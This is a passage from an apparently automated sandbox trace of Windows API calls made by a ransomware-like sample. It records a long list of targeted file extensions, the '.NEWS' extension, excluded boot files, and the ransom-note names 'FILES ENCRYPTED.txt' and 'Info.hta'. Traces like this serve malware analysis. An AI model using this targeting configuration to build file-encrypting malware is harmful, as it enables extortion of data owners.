Size=0xa) returned 0x518780 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518870 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518888 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518a20 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518a38 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5188a0 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518900 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518918 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5190a8 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519180 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519018 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518f70 [0059.950] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x400) returned 0x4d5000 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518fd0 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519030 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519048 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519090 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519060 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519198 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518f88 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519078 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519210 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519120 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf2a8 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5190c0 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5190f0 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5191b0 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5191c8 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5190d8 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519138 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x5191e0 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518fe8 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518f58 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519108 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519150 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519168 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5191f8 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519228 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519240 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf2b8 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518fa0 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519000 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518fb8 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519258 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519498 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519348 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5194c8 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519330 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5192e8 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x5194f8 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519510 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x519300 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5192b8 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519378 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519450 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519360 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5192d0 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519390 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519480 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5193f0 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519408 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519318 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519438 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519270 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5194b0 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5193c0 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5193a8 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519540 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5194e0 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5193d8 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519420 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519528 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5192a0 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519468 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519288 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x519630 [0059.951] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x12) returned 0x4a6078 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519708 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519558 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519678 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5196d8 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519600 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5195a0 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5196a8 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519570 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5196c0 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519660 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519588 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519690 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5196f0 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5195b8 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5195d0 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5195e8 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519618 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519648 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519928 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519778 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5199a0 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519820 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519910 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x5199b8 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519a00 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf2c8 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519838 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf118 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519940 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5198e0 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519970 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519988 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519850 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5198c8 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519868 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5199d0 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519760 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519790 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5198f8 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5197a8 [0059.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x519958 [0059.953] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5199e8 [0059.953] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf1f8 [0059.953] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x519a18 [0059.953] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5197c0 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x800) returned 0x519f38 [0059.953] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0059.953] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517718 | out: hHeap=0x490000) returned 1 [0059.953] lstrlenW (lpString="") returned 0 [0059.953] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51a8f0 | out: hHeap=0x490000) returned 1 [0059.953] lstrlenW (lpString=".NEWS") returned 5 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf318, Size=0x8) returned 0x4cf1b8 [0059.953] lstrlenW (lpString=".NEWS") returned 5 [0059.953] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51aa10 | out: hHeap=0x490000) returned 1 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51a908, Size=0x20) returned 0x4ce888 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce888, Size=0x40) returned 0x4aa408 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa408, Size=0x80) returned 0x517150 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf318, Size=0x8) returned 0x4cf1d8 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf1d8, Size=0x10) returned 0x51a800 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51a800, Size=0x20) returned 0x4ce900 [0059.953] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0059.953] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517150 | out: hHeap=0x490000) returned 1 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51a8f0, Size=0x20) returned 0x4ceab8 [0059.953] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceab8, Size=0x40) returned 0x4aa060 [0059.953] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0059.954] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0059.954] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa060 | out: hHeap=0x490000) returned 1 [0059.954] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51a920, Size=0x20) returned 0x4ce9a0 [0059.954] lstrlenW (lpString="Info.hta") returned 8 [0059.954] lstrlenW (lpString="Info.hta") returned 8 [0059.954] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce9a0 | out: hHeap=0x490000) returned 1 [0059.954] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4f6718, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x52 [0059.954] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6718 | out: hHeap=0x490000) returned 1 [0059.955] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0059.955] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce900, Size=0x40) returned 0x4aa210 [0059.955] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51aa58, Size=0x20) returned 0x4ceba8 [0059.956] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51a800, Size=0x20) returned 0x4ce9c8 [0059.956] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce9c8, Size=0x40) returned 0x4aa7b0 [0059.956] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa7b0, Size=0x80) returned 0x5171d8 [0059.956] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x5171d8, Size=0x100) returned 0x4d5000 [0059.956] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0059.956] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5000 | out: hHeap=0x490000) returned 1 [0059.956] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x4f6718, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0059.956] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51af48 | out: hHeap=0x490000) returned 1 [0059.957] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6718 | out: hHeap=0x490000) returned 1 [0059.957] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf168, Size=0x8) returned 0x4cf0e8 [0059.957] lstrlenW (lpString="%windir%;") returned 9 [0059.957] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0059.957] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0059.957] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e6710 | out: hHeap=0x490000) returned 1 [0059.958] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51a818, Size=0x20) returned 0x4ce9a0 [0059.958] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce9a0, Size=0x40) returned 0x4aa2e8 [0059.958] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa2e8, Size=0x80) returned 0x516c00 [0059.958] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x516c00, Size=0x100) returned 0x4d5000 [0059.958] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf238, Size=0x8) returned 0x4cf168 [0059.958] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf168, Size=0x10) returned 0x51a920 [0059.958] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51a920, Size=0x20) returned 0x4ceae0 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf108, Size=0x8) returned 0x4cf0b8 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf1e8, Size=0x8) returned 0x4cf068 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf168, Size=0x8) returned 0x4cf1a8 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf1a8, Size=0x10) returned 0x51abd8 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51abd8, Size=0x20) returned 0x4ce9f0 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf0b8, Size=0x10) returned 0x51aa70 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf068, Size=0x10) returned 0x51acb0 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf178, Size=0x8) returned 0x4cf228 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf0a8, Size=0x8) returned 0x4cf1c8 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51aa70, Size=0x20) returned 0x4cea18 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51acb0, Size=0x20) returned 0x4ce9a0 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf188, Size=0x8) returned 0x4cf0b8 [0059.959] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0059.959] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5000 | out: hHeap=0x490000) returned 1 [0059.959] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51ab78, Size=0x20) returned 0x4ced38 [0059.959] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x51af48, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0059.959] lstrlenW (lpString="C:\\") returned 3 [0059.959] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0059.960] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51af48 | out: hHeap=0x490000) returned 1 [0059.960] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf0a8, Size=0x82) returned 0x4d5090 [0059.960] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf218, Size=0x100) returned 0x4d5120 [0059.960] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5090, Size=0x104) returned 0x4d5348 [0059.960] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5120, Size=0x200) returned 0x517718 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cf1d8 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517718 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51abf0 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x5173f8 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51ac50 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517260 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51ad28 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5348 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51ab78 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5228 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51ac08 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d52b8 | out: hHeap=0x490000) returned 1 [0059.961] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51ac68 | out: hHeap=0x490000) returned 1 [0059.961] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51abd8, Size=0x20) returned 0x4ce888 [0059.962] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce888, Size=0x40) returned 0x4aa5b8 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cf098 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51acf8 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5000 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51aad0 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x516ea8 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51abc0 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cf078 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51aa70 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a54d0 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a62b8 | out: hHeap=0x490000) returned 1 [0059.962] lstrlenW (lpString="%systemdrive%") returned 13 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x5172e8 | out: hHeap=0x490000) returned 1 [0059.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cf188 | out: hHeap=0x490000) returned 1 [0059.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4d66f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0059.963] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51ac50, Size=0x20) returned 0x4ceb58 [0059.963] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceb58, Size=0x40) returned 0x4aa060 [0059.963] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa060, Size=0x80) returned 0x517260 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x517260, Size=0x100) returned 0x4d5000 [0059.964] RtlReAllocateHeap 